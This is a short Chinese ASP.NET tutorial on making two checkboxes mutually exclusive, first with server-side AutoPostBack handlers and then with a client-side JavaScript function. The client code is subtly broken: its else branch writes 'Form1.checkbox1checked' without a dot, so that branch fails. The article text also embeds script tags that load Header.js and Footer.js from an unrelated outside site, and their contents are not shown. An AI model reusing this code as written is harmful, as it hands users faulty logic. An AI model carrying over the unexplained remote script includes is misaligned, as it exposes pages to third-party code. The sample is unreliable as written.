两个CheckBox互动

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>1. 服务端
在asp.net上具有服务端的CheckBox控件,
如果使多个CheckBox产生互动效果,并不困难只需要设置它的AutoPostBack属性为true,之后在CheckedChange事件内书写代码即可.假设页面上具有两个CheckBox控件,ID分别为checkbox1,checkbox2.
首先设置他们的AutoPostPack为true.再写事件代码:
// checkbox1的CheckedChanged事件
private   void  checkbox1_CheckedChanged( object  sender, System.EventArgs e)
  
{
     checkbox2.Checked
=!checkbox1.Checked;
  }

// checkbox2的CheckedChanged事件
private   void  checkbox2_CheckedChanged( object  sender, System.EventArgs e)
  
{
     checkbox1.Checked
=!checkbox2.Checked;
  }
这样,我们就可以实现页面上只有一个CheckBox被选中. 也可以再进行后台的其他处理了.
但是有一点不足,因为设置了AutoPostPack为true.则页面具有刷新现象,叫人不爽!

2. 客户端
如果使用客户端的checkbox控件,可以避免页面刷新问题.
客户端函数:
< script  language ="JavaScript" >
function Check(obj) {    
    
var blnCurrent;
    blnCurrent 
= obj.checked;
    
if(obj.name == "checkbox1"){
        Form1.checkbox1.checked 
= blnCurrent;
        Form1.checkbox2.checked
= !blnCurrent;
    }

    
else{
        Form1.checkbox1checked 
= !blnCurrent;
        Form1.checkbox2.checked
= blnCurrent;
    }

}
        

        
</ script >

之后为每一个checkbox指定οnclick="Check(this)"即可.
如果需要后台代码中使用checkbox,则转变checkbox为服务端(双击即可),如下: 
 
< INPUT  runat ="server"  onclick ="Check(this)"  type ="checkbox"  name ="checkbox1"
id
="checkbox1"   >
< INPUT  runat ="server"  onclick ="Check(this)"  type ="checkbox"  name ="checkbox2"
id
="checkbox2"   >

后台可以根据它可以进行不同的操作:
if(checkbox1.Checked)
{.....}
else
{....}

文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值